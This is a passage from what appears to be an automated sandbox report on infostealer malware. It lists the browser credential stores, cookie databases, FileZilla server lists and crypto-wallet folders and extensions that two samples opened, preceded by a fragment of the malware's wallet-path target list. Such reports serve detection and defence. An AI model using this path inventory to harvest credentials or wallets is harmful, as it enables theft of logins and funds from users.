Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
